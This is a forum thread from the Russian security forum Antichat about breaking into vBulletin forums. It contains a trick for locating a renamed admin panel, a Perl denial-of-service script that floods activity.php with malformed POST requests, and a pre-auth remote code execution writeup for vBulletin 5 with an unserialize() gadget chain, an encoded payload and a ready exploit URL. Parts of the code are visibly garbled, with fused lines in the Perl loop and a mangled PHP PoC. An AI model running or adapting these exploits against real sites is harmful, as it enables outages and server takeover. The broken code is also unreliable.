ANTICHAT — форум по информационной безопасности, OSINT и технологиям

~root said:
Кто нибудь знает какой-нибудь способ, как посмотреть скрытые сообщения? Версия vBulletin 4.1.10

BigBear said:
Небольшая заметка о "быстром" поиске админки.
В случае, когда у Вас есть администраторский аккаунт, но нет доступа в админку, по причине "админ захотел поиграть в кошки-мышки и переименовал админку", дабы не брутить и не нагружать сервер кучей бесполезных логов, поможет следующий способ:
заходим в профиль любого пользователя (forum/member.php?u=2), видим кнопку "Edit Profile / Редактировать учётную запись". По ссылке - как раз адрес админки.
VB >= 2.8.6
Другие версии не проверял.

#!/usr/bin/perl
#
# Vbulletin activity Page Denial of Service
# Code Written By silent
# Site : Www.IrIsT.Ir - Www.IrIsT.Ir/forum - Www.IrIsT.Ir/en
# Facebook Page : https://www.facebook.com/pages/IrIsT-Hacking-Security-Researcher-Group/488307267857573
# Greats : Amir , Codex , Beni_Vanda , sajjad13and11 , Andd All IrIsT Members
#
use IO::Socket;
$host = $ARGV[0];
$path = $ARGV[1];
if(!$ARGV[1])
{
print "\n\n";
print "\t Vbulletin activity Page Denial of Service\n";
print "\t Discoverd By silent \n";
print "\t Www.IrIsT.Ir \n";
print "\t =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-\n";
print "\t [host] [path] \n";
print "\t host.com /Vbulletin/\n";
print "\t =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=\n";
exit();
}
for($i=0; $inew(Proto => "tcp", PeerAddr => $host, PeerPort => "80") or die("[-] Connection faild.\n");
$post = "show=1%1%1%1%1%1%1%1%1%1%1%&time=1%1%1%1%1%1%1%1% 1%1%1%&sortby=1%1%1%1%1%1%1%1%1%1%1%";
$pack.= "POST " .$path. "/activity.php HTTP/1.1\r\n";
$pack.= "Host: " .$host. "\r\n";
$pack.= "User-Agent: Googlebot/2.1\r\n";
$pack.= "Content-Type: application/x-www-form-urlencoded\r\n";
$pack.= "Content-Length: " .length($post). "\r\n\r\n";
$pack.= $post;
print $socket $pack;
syswrite STDOUT, "+";
}

by @_cutz
vBulletin implements certain ajax API calls in /core/vb/api/, one of them is hook.php:
public function decodeArguments($arguments)
{
if ($args = @unserialize($arguments))
{
$result = '';
foreach ($args AS $varname => $value)
{
$result .= $varname;
Apart from the obvious unserialize() not much else happening there -- luckily we have in /core/vb/db/result.php:
class vB_dB_Result implements Iterator
{
...
public function rewind()
{
//no need to rerun the query if we are at the beginning of the recordset.
if ($this->bof)
{
return;
}
if ($this->recordset)
{
$this->db->free_result($this->recordset);
}
rewind() is the first function to get called when an Iterator object is accessed via foreach(). Then we have in /core/vb/database.php:
abstract class vB_Database
{
...
function free_result($queryresult)
{
$this->sql = '';
return @$this->functions['free_result']($queryresult);
}
Which gives easy RCE. Setup objects accordingly:
$ php functions['free_result'] = 'phpinfo';
}
}
class vB_dB_Result {
protected $db;
protected $recordset;
public function __construct()
{
$this->db = new vB_Database();
$this->recordset = 1;
}
}
print urlencode(serialize(new vB_dB_Result())) . "\n";
eof
O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%0 0%2A%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7 Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22 free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3 A12%3A%22%00%2A%00recordset%22%3Bi%3A1%3B%7D
Just surf to:
http://localhost/vbforum/ajax/api/hook/decodeArguments?arguments=O:12:"vB_dB_Result":2:{s :5:"�*�db";O:11:"vB_Database":1:{s:9:"function s";a:1:{s:11:"free_result";s:7:"phpinfo";}}s:12:"� ��*�recordset";i:1;}
The fix was just replacing the unserialize() with json_decode(). Btw this bug has been sitting in vBulletin for more than three years.
-- cutz

grimnir said:
↑
vBulletin 5 PreAuth RCE writeup